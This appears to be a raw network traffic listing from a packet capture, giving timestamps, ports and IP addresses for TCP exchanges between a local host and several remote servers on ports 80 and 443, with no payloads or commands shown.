Nov 26, 2024 00:07:50.934986115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.935071945 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.935118914 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.935758114 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.935868979 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.935914993 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.936542034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.936645031 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.936688900 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.937350035 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.937397003 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.937454939 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.937505007 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.938153028 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.938203096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.938281059 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.938328028 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.939049006 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.939081907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.939111948 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.939126968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.939791918 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.939837933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.939907074 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.939954042 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.940594912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.940643072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.940685987 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.940732956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.941382885 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.941426992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.941500902 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.941545963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.942208052 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.942256927 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.942298889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.942343950 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.943027973 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.943070889 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.943139076 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.943185091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.943927050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.943955898 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.943979979 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.943991899 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.944617987 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.944665909 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.944705009 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.944761038 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.945651054 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.945663929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.945699930 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.946275949 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.946324110 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.946346045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.946389914 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.947021961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.947065115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.947144032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.947192907 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.947841883 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.947886944 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.947981119 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.948025942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.948647976 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.948697090 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.950026989 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.950042009 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.950052977 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.950081110 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.950109959 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.950257063 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.950304985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.950403929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.950452089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.951041937 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.951087952 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.951200008 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.951246977 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.951864958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.951913118 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:51.366519928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:51.366560936 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:51.486587048 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:51.486607075 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:52.003402948 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:52.003587008 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:52.067492962 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:52.191625118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:52.530577898 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:52.530807018 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:52.530817986 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:52.530850887 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:52.530853033 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:52.530889034 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:52.533618927 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:52.653965950 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:52.996982098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:52.997045040 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:54.313945055 CET	49758	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:07:54.314057112 CET	443	49758	20.190.181.4	192.168.2.4
Nov 26, 2024 00:07:54.314166069 CET	49758	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:07:54.314455032 CET	49758	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:07:54.314491034 CET	443	49758	20.190.181.4	192.168.2.4
Nov 26, 2024 00:07:56.248086929 CET	443	49758	20.190.181.4	192.168.2.4
Nov 26, 2024 00:07:56.248214960 CET	49758	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:07:56.263748884 CET	49758	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:07:56.263806105 CET	443	49758	20.190.181.4	192.168.2.4
Nov 26, 2024 00:07:56.264008045 CET	443	49758	20.190.181.4	192.168.2.4
Nov 26, 2024 00:07:56.264493942 CET	49758	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:07:56.264554977 CET	49758	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:07:56.264611006 CET	443	49758	20.190.181.4	192.168.2.4
Nov 26, 2024 00:07:56.991760015 CET	443	49758	20.190.181.4	192.168.2.4
Nov 26, 2024 00:07:56.991869926 CET	443	49758	20.190.181.4	192.168.2.4
Nov 26, 2024 00:07:56.991971016 CET	49758	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:07:56.992223978 CET	49758	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:07:56.992264032 CET	443	49758	20.190.181.4	192.168.2.4
Nov 26, 2024 00:07:56.992321968 CET	49758	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:07:56.992337942 CET	443	49758	20.190.181.4	192.168.2.4
Nov 26, 2024 00:07:57.027606010 CET	49759	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:07:57.027650118 CET	443	49759	20.190.181.4	192.168.2.4
Nov 26, 2024 00:07:57.027745008 CET	49759	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:07:57.027879000 CET	49759	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:07:57.027894020 CET	443	49759	20.190.181.4	192.168.2.4
Nov 26, 2024 00:07:58.002511024 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:58.002583981 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:58.873341084 CET	443	49759	20.190.181.4	192.168.2.4
Nov 26, 2024 00:07:58.873773098 CET	49759	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:07:58.873795986 CET	443	49759	20.190.181.4	192.168.2.4
Nov 26, 2024 00:07:58.874298096 CET	49759	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:07:58.874303102 CET	443	49759	20.190.181.4	192.168.2.4
Nov 26, 2024 00:07:58.874337912 CET	49759	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:07:58.874346972 CET	443	49759	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:00.953857899 CET	443	49759	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:00.953877926 CET	443	49759	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:00.953962088 CET	443	49759	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:00.953965902 CET	49759	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:00.953994989 CET	443	49759	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:00.954025030 CET	49759	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:00.954054117 CET	49759	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:00.962044001 CET	443	49759	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:00.962110043 CET	443	49759	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:00.962167025 CET	49759	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:00.962182999 CET	443	49759	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:00.962214947 CET	49759	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:00.962220907 CET	443	49759	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:01.013328075 CET	49760	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:01.013381004 CET	443	49760	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:01.013519049 CET	49760	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:01.013688087 CET	49760	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:01.013714075 CET	443	49760	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:01.701664925 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:01.701702118 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:01.701775074 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:01.702075958 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:01.702086926 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:02.906357050 CET	443	49760	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:02.912412882 CET	49760	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:02.912453890 CET	443	49760	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:02.913289070 CET	49760	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:02.913295984 CET	443	49760	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:02.913342953 CET	49760	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:02.913355112 CET	443	49760	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:03.096601963 CET	49762	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:08:03.096633911 CET	443	49762	52.149.20.212	192.168.2.4
Nov 26, 2024 00:08:03.096806049 CET	49762	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:08:03.099379063 CET	49762	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:08:03.099391937 CET	443	49762	52.149.20.212	192.168.2.4
Nov 26, 2024 00:08:03.554617882 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:03.554728985 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:03.558079958 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:03.558089018 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:03.558311939 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:03.571470022 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:03.615328074 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.050704002 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.050724030 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.050779104 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.050796032 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.050810099 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.050842047 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.050863028 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.115014076 CET	443	49760	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:04.115030050 CET	443	49760	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:04.115060091 CET	443	49760	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:04.115098953 CET	49760	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:04.115108967 CET	443	49760	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:04.115124941 CET	49760	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:04.115154982 CET	49760	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:04.115355968 CET	49760	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:04.115377903 CET	443	49760	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:04.115391016 CET	49760	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:04.115398884 CET	443	49760	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:04.142873049 CET	49763	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:04.142894983 CET	443	49763	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:04.142971992 CET	49763	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:04.143116951 CET	49763	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:04.143126011 CET	443	49763	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:04.254230022 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.254252911 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.254307985 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.254317045 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.254329920 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.254358053 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.303320885 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.303344011 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.303409100 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.303416014 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.303448915 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.303466082 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.443504095 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.443521976 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.443594933 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.443609953 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.446499109 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.477507114 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.477519989 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.477688074 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.477705002 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.477756977 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.498954058 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.498970032 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.499030113 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.499044895 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.502590895 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.517566919 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.517580986 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.517736912 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.517746925 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.517792940 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.642550945 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.642566919 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.642682076 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.642698050 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.644619942 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.660473108 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.660485029 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.660566092 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.660576105 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.660604000 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.660619974 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.675769091 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.675784111 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.675839901 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.675849915 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.678491116 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.687470913 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.687483072 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.687544107 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.687551975 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.690494061 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.697606087 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.697618008 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.697673082 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.697679996 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.697707891 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.697729111 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.699208975 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.699246883 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.699291945 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.699970007 CET	49761	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.699980974 CET	443	49761	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.727572918 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.727615118 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.727691889 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.729052067 CET	49765	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.729084015 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.729152918 CET	49765	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.729237080 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.729255915 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.729712963 CET	49765	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.729723930 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.730911016 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.730928898 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.730990887 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.731117010 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.731132030 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.732355118 CET	49767	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.732362986 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.732873917 CET	49768	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.732899904 CET	49767	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.732917070 CET	443	49768	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.733023882 CET	49767	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.733031988 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.733051062 CET	49768	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.733120918 CET	49768	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:04.733136892 CET	443	49768	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:04.976128101 CET	443	49762	52.149.20.212	192.168.2.4
Nov 26, 2024 00:08:04.976207018 CET	49762	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:08:04.977735996 CET	49762	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:08:04.977741003 CET	443	49762	52.149.20.212	192.168.2.4
Nov 26, 2024 00:08:04.978225946 CET	443	49762	52.149.20.212	192.168.2.4
Nov 26, 2024 00:08:04.986129999 CET	49762	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:08:05.031322956 CET	443	49762	52.149.20.212	192.168.2.4
Nov 26, 2024 00:08:05.713016033 CET	443	49762	52.149.20.212	192.168.2.4
Nov 26, 2024 00:08:05.713119030 CET	443	49762	52.149.20.212	192.168.2.4
Nov 26, 2024 00:08:05.713171005 CET	443	49762	52.149.20.212	192.168.2.4
Nov 26, 2024 00:08:05.713207006 CET	49762	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:08:05.713224888 CET	443	49762	52.149.20.212	192.168.2.4
Nov 26, 2024 00:08:05.713258982 CET	49762	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:08:05.713279963 CET	49762	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:08:05.756732941 CET	443	49762	52.149.20.212	192.168.2.4
Nov 26, 2024 00:08:05.756783962 CET	443	49762	52.149.20.212	192.168.2.4
Nov 26, 2024 00:08:05.756815910 CET	49762	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:08:05.756820917 CET	443	49762	52.149.20.212	192.168.2.4
Nov 26, 2024 00:08:05.756845951 CET	49762	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:08:05.756938934 CET	443	49762	52.149.20.212	192.168.2.4
Nov 26, 2024 00:08:05.756994009 CET	49762	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:08:05.757026911 CET	49762	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:08:05.757036924 CET	443	49762	52.149.20.212	192.168.2.4
Nov 26, 2024 00:08:05.757054090 CET	49762	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:08:05.757057905 CET	443	49762	52.149.20.212	192.168.2.4
Nov 26, 2024 00:08:06.101542950 CET	443	49763	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:06.109273911 CET	49763	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:06.109289885 CET	443	49763	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:06.117520094 CET	49763	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:06.117525101 CET	443	49763	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:06.117549896 CET	49763	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:06.117558002 CET	443	49763	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:06.446341991 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.446801901 CET	49767	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.446824074 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.447422028 CET	49767	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.447426081 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.515438080 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.515686989 CET	443	49768	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.515846968 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.515873909 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.515994072 CET	49768	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.516031981 CET	443	49768	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.516316891 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.516325951 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.516427040 CET	49768	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.516434908 CET	443	49768	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.516890049 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.517137051 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.517146111 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.517596960 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.517602921 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.580966949 CET	443	49765	13.107.246.63	192.168.2.4
